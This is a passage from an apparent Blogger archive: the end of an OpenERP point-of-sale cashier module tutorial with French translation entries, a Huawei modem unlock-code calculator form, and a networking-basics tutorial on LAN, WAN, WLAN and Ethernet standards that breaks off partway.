<pre class="code_uniquement" style="overflow: auto;"><code class="contenuCode" id="contenuCoded0e31200">
#. module: pos_cashier
#: help:pos.cashier,active:0
msgid "If a cashier is not active, it will not be displayed in POS"
msgstr "Un caissier désactivé ne sera pas visible dans le Point De Vente"
#. module: pos_cashier
#: sql_constraint:pos.cashier:0
msgid ""
"A cashier already exists with this name in this Point Of sale. Cashier's "
"name must be unique!"
msgstr ""
"Un caissier existe déjà avec le même nom dans ce Point De Vente. Le nom du "
"caissier doit être unique!"
</code></pre>
</div>
If you want to translate into several languages, simply copy and rename the<b> pos_cashier.pot</b> file to a <b>xx.po</b> file . For different languages taken into account, just look in the i18n directory of the other modules.<br />
While you're there, then duplicate the fr.po file for Belgium and Switzerland.<br />
When you have completed the translation files, you will need to restart OpenERP sure everything loads properly.<br />
Then you will be able to go into the POS, tickle the drop-down list after creating two or three cashiers! </div>
<h1 class="TitreSection0" id="LXI">
XI. Conclusion<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h1>
<div class="BlocSection0">
<b>In this tutorial we have seen a lot of things, finally</b>:<br />
<ul class="ListeDVP">
<li>the creation of a Python object;</li>
<li>the creation of XML views (form view and tree view) ;</li>
<li>the creation of search filters;</li>
<li>the creation of a menu ;</li>
<li>the module access rights;</li>
<li>the records rules ;</li>
<li>add an icon to the module ;</li>
<li>modify the Point Of sale (add a dropdown list and a button) ;</li>
<li>QWeb and templates;</li>
<li>the installation of a module ;</li>
<li>the translation of a module.</li>
</ul>
<b>Do not hesitate to look at documentation on the publisher's website, including :</b> <br />
<ul class="ListeDVP">
<li><a class=" tooltip blue-tooltip lienArticle En" href="https://doc.openerp.com/trunk/server/" target="_blank">OpenERP Server Developers DocumentationOpenERP Server Developers Documentation</a> ;</li>
<li><a class=" tooltip blue-tooltip lienArticle En" href="https://doc.openerp.com/trunk/web/" target="_blank">OpenERP Web's documentationOpenERP Web's documentation</a> ;</li>
<li><a class=" tooltip blue-tooltip lienArticle En" href="https://doc.openerp.com/trunk/web/qweb/" target="_blank">QWebQWeb</a> ;</li>
<li><a class=" tooltip blue-tooltip lienArticle En" href="https://www.openerp.com/files/memento/OpenERP_Technical_Memento_latest.pdf" target="_blank">OpenERP technical MementoOpenERP technical Memento</a>. </li>
</ul>
If you have any improvements or even corrections, do not hesitate to send me your comments.<br />
Thank you. </div>
<h1 class="TitreSection0" id="LXII">
XII. Download module<a class="HautPage" href="http://www.blogger.com/blogger.g?blogID=6934446466784817478#" title="Haut de page">▲</a></h1>
<div class="BlocSection0">
<img alt="pos_cashier_icon.jpg" class="image_verticale" height="64px" src="./images/pos_cashier_icon.jpg" width="64px" /> <a class=" tooltip blue-tooltip lienArticle Fr" href="http://www.blogger.com/fichiers/pos_cashier.zip" target="_blank">Download POS Cashier ModuleDownload POS Cashier Module</a> </div>
</section></div>
<!-- Start of adf.ly banner code -->
<div style="width: 728px; text-align: center; font-family: verdana; font-size: 10px;"><a href="http://adf.ly/?id=335447"><img border="0" src="http://cdn.adf.ly/images/banners/adfly.728x90.2.gif" width="728" height="90" title="AdF.ly - shorten links and earn money!" /></a><br /><a href="http://adf.ly/?id=335447">Get paid to share your links!</a></div>
<!-- End of adf.ly banner code -->Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com0tag:blogger.com,1999:blog-6934446466784817478.post-60315464980852232402013-10-03T02:29:00.000-07:002013-10-03T02:29:20.967-07:00Huawei modem unlock code and flash code calculator<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<div class='post-header-line-1'></div>
<div class='post-body entry-content'>
<p>
<div dir="ltr" style="text-align: left;" trbidi="on">
<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<br />
<center>
<h2>
Huawei modem unlock code and flash code calculator</h2>
</center>
Enter 15 digit IMEI Number in the box below to calculate Unlock code and Flash code of your modem<br />
<br />
<br />
<br />
<center>
<form action="http://www.modemunlock.com/huawei.php" method="post">
IMEI : <input maxlength="15" name="imei" type="text" /><input type="submit" value="CALCULATE" /><br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br /></form>
</center>
</div>
</div>
</div>Anonymoushttp://www.blogger.com/profile/05649816396884248689noreply@blogger.com1tag:blogger.com,1999:blog-6934446466784817478.post-29088679308293557332013-09-27T01:49:00.002-07:002013-09-27T01:49:11.740-07:00<div dir="ltr" style="text-align: left;" trbidi="on">
<br /></div>
<div class='post-outer'>
<div class='post hentry' itemprop='blogPost' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'>
<meta content='2650295613816833857' itemprop='blogId'/>
<meta content='3844622447772180518' itemprop='postId'/>
<a name='3844622447772180518'></a>
<h3 class='post-title entry-title' itemprop='name'>
Networking Basics
</h3>
<div class='post-header'>
<div class='post-header-line-1'></div>
</div>
<div class='post-body entry-content' id='post-body-3844622447772180518' itemprop='description articleBody'>
<br />
<h1 style="background-color: white; color: #990000; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 15pt; margin: 0.2em 0px 0.5em; padding: 0px;">
Networking Basics</h1>
<div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
<a href="http://www.lantronix.com/index.html" style="color: #ff6600;">Computer networking</a> has become an integral part of business today. Individuals, professionals and academics have also learned to rely on computer networks for capabilities such as electronic mail and access to remote databases for research and communication purposes. Networking has thus become an increasingly pervasive, worldwide reality because it is fast, efficient, reliable and effective. Just how all this information is transmitted, stored, categorized and accessed remains a mystery to the average computer user.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
This tutorial will explain the basics of some of the most popular technologies used in networking, and will include the following:</div>
<ul style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; list-style-type: square; margin: 0.5em 0px 0.4em 35px; padding-bottom: 0.3em; padding-left: 0px;">
<li style="margin-bottom: 0.3em;"><a href="http://www.lantronix.com/resources/net-tutor-etntba.html#1a" style="color: #ff6600;">Types of Networks</a> - including LANs, WANs and WLANs</li>
<li style="margin-bottom: 0.3em;"><a href="http://www.lantronix.com/resources/net-tutor-etntba.html#1b" style="color: #ff6600;">The Internet and Beyond</a> - The Internet and its contributions to intranets and extranets</li>
<li style="margin-bottom: 0.3em;"><a href="http://www.lantronix.com/resources/net-tutor-etntba.html#1c" style="color: #ff6600;">Types of LAN Technology</a> - including Ethernet, Fast Ethernet, Gigabit Ethernet, 10 Gigabit Ethernet,<br />ATM, PoE and Token Ring</li>
<li style="margin-bottom: 0.3em;"><a href="http://www.lantronix.com/resources/net-tutor-etntba.html#1d" style="color: #ff6600;">Networking and Ethernet Basics</a> - including standard code, media, topographies, collisions and CSMA/CD</li>
<li style="margin-bottom: 0.3em;"><a href="http://www.lantronix.com/resources/net-tutor-etntba.html#1e" style="color: #ff6600;">Ethernet Products</a> - including transceivers, network interface cards, hubs and repeaters</li>
</ul>
<h2 style="background-color: white; border-bottom-color: rgb(221, 221, 221); border-bottom-style: solid; border-bottom-width: 1px; color: #cc6600; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 12pt; margin: 1em 0px 0px; padding-bottom: 4px;">
Types of Networks<a href="" id="1a" name="1a" style="color: #ff6600;"></a></h2>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
In describing the basics of networking technology, it will be helpful to explain the different types of networks in use.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Local Area Networks (LANs)</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
A network is any collection of independent computers that exchange information with each other over a shared communication medium. Local Area Networks or LANs are usually confined to a limited geographic area, such as a single building or a college campus. LANs can be small, linking as few as three computers, but can often link hundreds of computers used by thousands of people. The development of standard networking protocols and media has resulted in worldwide proliferation of LANs throughout business and educational organizations.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Wide Area Networks (WANs)</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Often elements of a network are widely separated physically. Wide area networking combines multiple LANs that are geographically separate. This is accomplished by connecting the several LANs with dedicated leased lines such as a T1 or a T3, by dial-up phone lines (both synchronous and asynchronous), by satellite links and by data packet carrier services. WANs can be as simple as a modem and a remote access server for employees to dial into, or it can be as complex as hundreds of branch offices globally linked. Special routing protocols and filters minimize the expense of sending data over vast distances.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Wireless Local Area Networks (WLANs)</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Wireless LANs, or WLANs, use radio frequency (RF) technology to transmit and receive data over the air. This minimizes the need for wired connections. WLANs give users mobility as they allow connection to a local area network without having to be physically connected by a cable. This freedom means users can access shared resources without looking for a place to plug in cables, provided that their terminals are mobile and within the designated network coverage area. With mobility, WLANs give flexibility and increased productivity, appealing to both entrepreneurs and to home users. WLANs may also enable network administrators to connect devices that may be physically difficult to reach with a cable.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
The Institute for Electrical and Electronic Engineers (IEEE) developed the 802.11 specification for wireless LAN technology. 802.11 specifies over-the-air interface between a wireless client and a base station, or between two wireless clients. WLAN 802.11 standards also have security protocols that were developed to provide the same level of security as that of a wired LAN.<br />The first of these protocols is Wired Equivalent Privacy (WEP). WEP provides security by encrypting data sent over radio waves from end point to end point.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
The second WLAN security protocol is Wi-Fi Protected Access (WPA). WPA was developed as an upgrade to the security features of WEP. It works with existing products that are WEP-enabled but provides two key improvements: improved data encryption through the temporal key integrity protocol (TKIP) which scrambles the keys using a hashing algorithm. It has means for integrity-checking to ensure that keys have not been tampered with. WPA also provides user authentication with the extensible authentication protocol (EAP).</div>
<div align="center" style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
<strong>Wireless Protocols</strong></div>
<table align="center" border="0" cellpadding="4" cellspacing="1" class="content" style="background-color: white; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; margin-bottom: 5px; width: 90%px;"><tbody>
<tr><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top"><strong>Specification</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top"><strong>Data Rate</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top"><strong>Modulation Scheme</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top"><strong>Security</strong></td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">802.11</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">1 or 2 Mbps in the 2.4 GHz band</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">FHSS, DSSS</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">WEP and WPA</td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">802.11a</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">54 Mbps in the 5 GHz band</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">OFDM</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">WEP and WPA</td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">802.11b/High Rate/Wi-Fi</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">11 Mbps (with a fallback to 5.5, 2, and 1 Mbps) in the 2.4 GHz band</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">DSSS with CCK</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">WEP and WPA</td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">802.11g/Wi-Fi</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">54 Mbps in the 2.4 GHz band</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">OFDM when above 20Mbps, DSSS with CCK when below 20Mbps</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">WEP and WPA</td></tr>
</tbody></table>
<h2 style="background-color: white; border-bottom-color: rgb(221, 221, 221); border-bottom-style: solid; border-bottom-width: 1px; color: #cc6600; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 12pt; margin: 1em 0px 0px; padding-bottom: 4px;">
The Internet and Beyond<a href="" id="1b" name="1b" style="color: #ff6600;"></a></h2>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
More than just a technology, the Internet has become a way of life for many people, and it has spurred a revolution of sorts for both public and private sharing of information. The most popular source of information about almost anything, the Internet is used daily by technical and non-technical users alike.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
The Internet: The Largest Network of All</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
With the meteoric rise in demand for connectivity, the Internet has become a major communications highway for millions of users. It is a decentralized system of linked networks that are worldwide in scope. It facilitates data communication services such as remote log-in, file transfer, electronic mail, the World Wide Web and newsgroups. It consists of independent hosts of computers that can designate which Internet services to use and which of their local services to make available to the global community.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Initially restricted to military and academic institutions, the Internet now operates on a three-level hierarchy composed of backbone networks, mid-level networks and stub networks. It is a full-fledged conduit for any and all forms of information and commerce. Internet websites now provide personal, educational, political and economic resources to virtually any point on the planet.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Intranet: A Secure Internet-like Network for Organizations<strong></strong></h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
With advancements in browser-based software for the Internet, many private organizations have implemented<em>intra</em>nets. An intranet is a private network utilizing Internet-type tools, but available only within that organization. For large organizations, an intranet provides easy access to corporate information for designated employees.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Extranet: A Secure Means for Sharing Information with Partners</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
While an intranet is used to disseminate confidential information <em>within</em> a corporation, an <em>extra</em>net is commonly used by companies to share data in a secure fashion with their business partners. Internet-type tools are used by content providers to update the extranet. Encryption and user authentication means are provided to protect the information, and to ensure that designated people with the proper access privileges are allowed to view it.</div>
<h2 style="background-color: white; border-bottom-color: rgb(221, 221, 221); border-bottom-style: solid; border-bottom-width: 1px; color: #cc6600; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 12pt; margin: 1em 0px 0px; padding-bottom: 4px;">
Types of LAN Technology<a href="" id="1c" name="1c" style="color: #ff6600;"></a></h2>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Ethernet</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Ethernet is the most popular physical layer LAN technology in use today. It defines the number of conductors that are required for a connection, the performance thresholds that can be expected, and provides the framework for data transmission. A standard Ethernet network can transmit data at a rate up to 10 Megabits per second (10 Mbps). Other LAN types include Token Ring, Fast Ethernet, Gigabit Ethernet, 10 Gigabit Ethernet, Fiber Distributed Data Interface (FDDI), Asynchronous Transfer Mode (ATM) and LocalTalk.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Ethernet is popular because it strikes a good balance between speed, cost and ease of installation. These benefits, combined with wide acceptance in the computer marketplace and the ability to support virtually all popular network protocols, make Ethernet an ideal networking technology for most computer users today.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
The Institute for Electrical and Electronic Engineers developed an Ethernet standard known as IEEE Standard 802.3. This standard defines rules for configuring an Ethernet network and also specifies how the elements in an Ethernet network interact with one another. By adhering to the IEEE standard, network equipment and network protocols can communicate efficiently.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Fast Ethernet</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
The Fast Ethernet standard (IEEE 802.3u) has been established for Ethernet networks that need higher transmission speeds. This standard raises the Ethernet speed limit from 10 Mbps to 100 Mbps with only minimal changes to the existing cable structure. Fast Ethernet provides faster throughput for video, multimedia, graphics, Internet surfing and stronger error detection and correction.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
There are three types of Fast Ethernet: 100BASE-TX for use with level 5 UTP cable; 100BASE-FX for use with fiber-optic cable; and 100BASE-T4 which utilizes an extra two wires for use with level 3 UTP cable. The 100BASE-TX standard has become the most popular due to its close compatibility with the 10BASE-T Ethernet standard.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Network managers who want to incorporate Fast Ethernet into an existing configuration are required to make many decisions. The number of users in each site on the network that need the higher throughput must be determined; which segments of the backbone need to be reconfigured specifically for 100BASE-T; plus what hardware is necessary in order to connect the 100BASE-T segments with existing 10BASE-T segments. Gigabit Ethernet is a future technology that promises a migration path beyond Fast Ethernet so the next generation of networks will support even higher data transfer speeds.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Gigabit Ethernet</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Gigabit Ethernet was developed to meet the need for faster communication networks with applications such as multimedia and Voice over IP (VoIP). Also known as "gigabit-Ethernet-over-copper" or 1000Base-T, GigE is a version of Ethernet that runs at speeds 10 times faster than 100Base-T. It is defined in the IEEE 802.3 standard and is currently used as an enterprise backbone. Existing Ethernet LANs with 10 and 100 Mbps cards can feed into a Gigabit Ethernet backbone to interconnect high performance switches, routers and servers.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
From the data link layer of the OSI model upward, the look and implementation of Gigabit Ethernet is identical to that of Ethernet. The most important differences between Gigabit Ethernet and Fast Ethernet include the additional support of full duplex operation in the MAC layer and the data rates.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
10 Gigabit Ethernet</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
10 Gigabit Ethernet is the fastest and most recent of the Ethernet standards. IEEE 802.3ae defines a version of Ethernet with a nominal rate of 10Gbits/s that makes it 10 times faster than Gigabit Ethernet.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
Unlike other Ethernet systems, 10 Gigabit Ethernet is based entirely on the use of optical fiber connections. This developing standard is moving away from a LAN design that broadcasts to all nodes, toward a system which includes some elements of wide area routing. As it is still very new, which of the standards will gain commercial acceptance has yet to be determined.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Asynchronous Transfer Mode (ATM)</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
ATM is a cell-based fast-packet communication technique that can support data-transfer rates from sub-T1 speeds to 10 Gbps. ATM achieves its high speeds in part by transmitting data in fixed-size cells and dispensing with error-correction protocols. It relies on the inherent integrity of digital lines to ensure data integrity.</div>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
ATM can be integrated into an existing network as needed without having to update the entire network. Its fixed-length cell-relay operation is the signaling technology of the future and offers more predictable performance than variable length frames. Networks are extremely versatile and an ATM network can connect points in a building, or across the country, and still be treated as a single network.</div>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Power over Ethernet (PoE)</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
PoE is a solution in which an electrical current is run to networking hardware over the Ethernet Category 5 cable or higher. This solution does not require an extra AC power cord at the product location. This minimizes the amount of cable needed as well as eliminates the difficulties and cost of installing extra outlets.</div>
<div align="center" style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
<strong>LAN Technology Specifications</strong></div>
<table align="center" border="0" cellpadding="4" cellspacing="1" class="content" style="background-color: white; color: black; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 13px; margin-bottom: 5px;"><tbody>
<tr><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top" width="110"><strong>Name</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top" width="79"><strong>IEEE Standard</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top" width="69"><strong>Data Rate</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top" width="122"><strong>Media Type</strong></td><td class="tablehead" style="background-color: #d77e00; border: 1px solid rgb(221, 221, 221); color: white; font-size: 1em; font-weight: bold;" valign="top" width="134"><strong>Maximum Distance</strong></td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">Ethernet</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">802.3</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">10 Mbps</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">10Base-T</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">100 meters</td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">Fast Ethernet/<br />100Base-T</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top"><a href="http://www.webopedia.com/TERM/1/IEEE_802_standards.html" style="color: #ff6600;">802.3u</a></td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">100 Mbps</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">100Base-TX<br />100Base-FX</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">100 meters<br />2000 meters</td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">Gigabit Ethernet/<br />GigE</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">802.3z</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">1000 Mbps</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">1000Base-T<br />1000Base-SX<br />1000Base-LX</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">100 meters<br />275/550 meters<br />550/5000 meters</td></tr>
<tr><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">10 Gigabit Ethernet</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top"><a href="http://en.wikipedia.org/wiki/IEEE_802.3ae" style="color: #ff6600;" title="IEEE 802.3ae">IEEE 802.3ae</a></td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">10 Gbps</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">10GBase-SR<br />10GBase-LX4<br />10GBase-LR/ER<br />10GBase-SW/LW/EW</td><td class="tablenorm" style="border-bottom-color: rgb(204, 204, 204); border-bottom-style: dashed; border-bottom-width: 1px; font-size: 8.5pt;" valign="top">300 meters<br />300m MMF/ 10km SMF<br />10km/40km<br />300m/10km/40km</td></tr>
</tbody></table>
<h3 style="background-color: white; color: #444444; font-family: Tahoma, Arial, Helvetica, sans-serif; font-size: 11pt; margin: 1em 0px 0.4em;">
Token Ring</h3>
<div style="background-color: white; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 9pt; line-height: 1.3em; margin-bottom: 0.7em; margin-top: 0.6em;">
